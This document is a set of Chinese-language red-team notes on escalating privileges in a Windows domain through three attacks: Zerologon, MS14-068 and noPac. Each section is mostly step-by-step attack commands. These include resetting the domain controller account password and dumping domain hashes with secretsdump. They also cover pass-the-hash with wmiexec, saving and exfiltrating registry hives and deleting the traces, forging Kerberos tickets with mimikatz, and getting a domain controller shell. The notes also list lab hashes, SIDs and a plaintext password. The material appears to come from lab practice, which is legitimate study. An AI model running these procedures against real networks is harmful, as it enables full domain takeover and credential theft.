域內提權漏洞(1)
Netlogon域權限提升
1.查看域控主機名稱
net group "domain controllers" /domain

2.檢測漏洞是否存在
https://github.com/SecuraBV/CVE-2020-1472.git
python zerologon_tester.py OWA 192.168.52.138
?
?

3.漏洞利用,對域賬號重置
https://github.com/blackarrowsec/redteam-research
python CVE-2020-1472.py DC DC$ 192.168.247.142

?
這時候可以mimikatz看一下用戶憑證,DC$的hash已被置空


4.獲取域控用戶hash
python secretsdump.py 'god.org/OWA$@192.168.52.138' -no-pass

這里圖放錯了 DC$就是OWA$
5. wmiexec進行hash橫向連接
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:484c4a877bf92ab233572af847b9e530 demo\Administrator@192.168.52.138

6. 恢復域 - 獲取hash
#獲取sam數據庫
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
lget system.save
lget sam.save
lget security.save
del /f system.save
del /f sam.save
del /f security.save
6. 恢復域 - 獲取hash
#解密sam
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

6. 恢復域 - 還原hash
https://github.com/risksense/zerologon
python?reinstall_original_pw.py OWA?192.168.5.134 e2474b7ca001fb4d6847a6c1ece68bfb

域內提權漏洞(2)
MS14-068
該漏洞可能允許攻擊者將未經授權的域用戶賬戶的權限,提權到域管理員的權限。
微軟官方解釋:
https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2014/ms14-068
漏洞原理:
Kerberos認證原理: https://www.cnblogs.com/huamingao/p/7267423.html
服務票據是客戶端直接發送給服務器,并請求服務資源的。如果服務器沒有向域控dc驗證pac的話,那么客戶端可以偽造域管的權限來訪問服務器。

漏洞利用前提:
1.域控沒有打MS14-068的補丁(KB3011780)
2.攻擊者拿下了一臺域內的普通計算機,并獲得普通域用戶以及密碼/hash值,以及用戶的suid
相關工具下載:
Ms14-068.exe 下載地址: https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
PSexec下載地址: https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe
漏洞利用
1.首先在檢測是否有MS14-068這個漏洞,通過查看是否打補丁(KB3011780)來判斷是否存在漏洞,在域中補丁都是批量安裝
2. 獲取域sid
S-1-5-21-2756371121-2868759905-3853650604-1001
3. 獲取域hash
由于是域普通用戶,首先提權到system然后抓hash
161cff084477fe596a5db81874498a24
4. 清除當前用戶票據
mimikatz kerberos::purge
5.利用ms14-068.exe提權工具生成偽造的kerberos協議認證證書
shell MS14-068.exe -u de1ay@de1ay.com -s S-1-5-21-2756371121-2868759905-3853650604-1001 -p
1qaz@WSX -d 10.10.10.10
6.利用mimikatz.exe將證書寫入,從而提升為域管理員
mimikatz kerberos::ptc TGT_11@de1ay.com.ccache 7.再次列出域控制器的C盤目錄,成功訪問域控的C盤,說明普通域用戶提權成功
域內提權漏洞(3)
cve-2021-42287/cve-2021-42278
漏洞介紹
1、CVE-2021-42278
一般來說,機器賬號的名字應該以$符號結尾的。例如DC$表示DC這臺主機的賬戶名。但是微軟只是進行了規定,并沒有驗證程序對用戶創建的用戶名進行驗證,也就是說,創建DC用戶名完全是可以的。(這里指的是機器賬號的sAMAccountName屬性)
2、CVE-2021-42287
結合上面那個漏洞,如果創建了一個用戶名為DC的賬戶,此時使用這個賬戶去申請一張TGT票據,然后在申請ST之前,將這個賬戶名修改掉或者刪除掉,那么在進行申請ST的時候,KDC在進行驗證時就查不到這個賬戶,此時KDC就會去查找DC$這個賬戶,如果這個賬戶存在的話,最終返回的就是DC$這個賬戶申請的ST。也就相當于獲取到了域控賬戶申請的高權限服務票據。
漏洞影響范圍
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019
漏洞利用
1.需要一個域用戶
2.獲取dc shell
python3 sam_the_admin.py x.x/x:x -dc-ip x.x.x.x -shell
3.檢查漏洞是否存在
.\noPac.exe scan -domain x.x.x -user x -pass 'x'
4.獲取shell
python3 noPac.py -use-ldap de1ay.com/de1ay:1qaz@WSX -dc-ip 10.10.10.10 -shell